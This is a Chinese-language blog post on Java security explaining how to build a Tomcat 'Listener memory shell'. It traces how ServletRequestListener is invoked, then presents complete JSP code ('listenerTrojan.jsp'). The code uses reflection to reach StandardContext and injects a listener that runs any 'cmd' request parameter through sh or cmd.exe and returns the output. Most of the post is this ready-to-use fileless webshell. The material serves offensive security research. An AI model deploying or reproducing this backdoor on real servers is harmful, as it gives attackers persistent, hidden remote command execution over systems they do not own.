『Java安全』反序列化-
前言
Tomcat Servlet API Listener介绍ServletRequestListener介绍 ServletRequestListener调用流程分析
1. Request创建时2. Request销毁时 Listener内存马
原理Ⅰ.获取contextⅡ. 生成恶意Listener
获取Response Ⅲ. add添加listener完整代码 参考引用完
前言 Tomcat Servlet API Listener介绍Listener监听器用来监听对象创建、销毁,属性增删改然后执行操作,在tomcat中处理流程为 Listener -> Filter -> Servlet 的顺序,是最先被执行的。
Tomcat支持两种listener:org.apache.catalina.LifecycleListener和Java.util.EvenListener,前者一般不能使用,因此讨论后者。
翻看servlet api文档,以下几个类实现了Listener,除去两个不常用的
监听上下文、request请求、session的创建和销毁监听上下文属性、request请求属性、session属性的增删改 ServletRequestListener介绍
可以发现最适合做内存马的就是ServletRequestListener类,它提供两种行为的监听:
Request请求创建Request请求销毁
ServletRequestListener调用流程分析 1. Request创建时Servlet在启动的时候、在Host中对Request请求创建监听器进行检查
fireRequestInitEvent又调用get方法获取全部监听器,可以看见StandardContext是提供了getter获取监听器,然后生成RequestEvent请求事件
如果存在监听器,选出RequestListener,调用requestInitialized方法
Request请求销毁时:
同理,选出请求监听器调用requestDestroyed
方法比较简单,获取context传入listener即可
- 生成恶意Listener放入Context
从request(属于RequestFacade)反射获取Request然后再获取StandardContext
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
Ⅱ. 生成恶意Listener
实例化ServletRequestListener,重写方法
获取ResponserequestInitialized传入了事件
而事件只能获取HttpServletRequest,没办法直接拿到HttpServletResponse,就没法输出了
之前从反射拿到的Request刚好封装了response,直接getter即可
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
HttpServletResponse resp = request1.getResponse();
if (req.getParameter("cmd") != null) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\A");
String out = s.hasNext()?s.next():"";
resp.getWriter().write(out);
resp.getWriter().flush();
}catch (IOException ioe){
ioe.printStackTrace();
}
}
}
};
Ⅲ. add添加listener
完整代码
// listenerTrojan.jsp
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
HttpServletResponse resp = request1.getResponse();
if (req.getParameter("cmd") != null) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\A");
String out = s.hasNext()?s.next():"";
resp.getWriter().write(out);
resp.getWriter().flush();
}catch (IOException ioe){
ioe.printStackTrace();
}
}
}
};
standardContext.addApplicationEventListener(listener);
out.println("inject done!");
out.flush();
%>
参考引用
完Java Listener内存马
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123693427
版权声明:本文为原创,转载时须注明出处及本声明



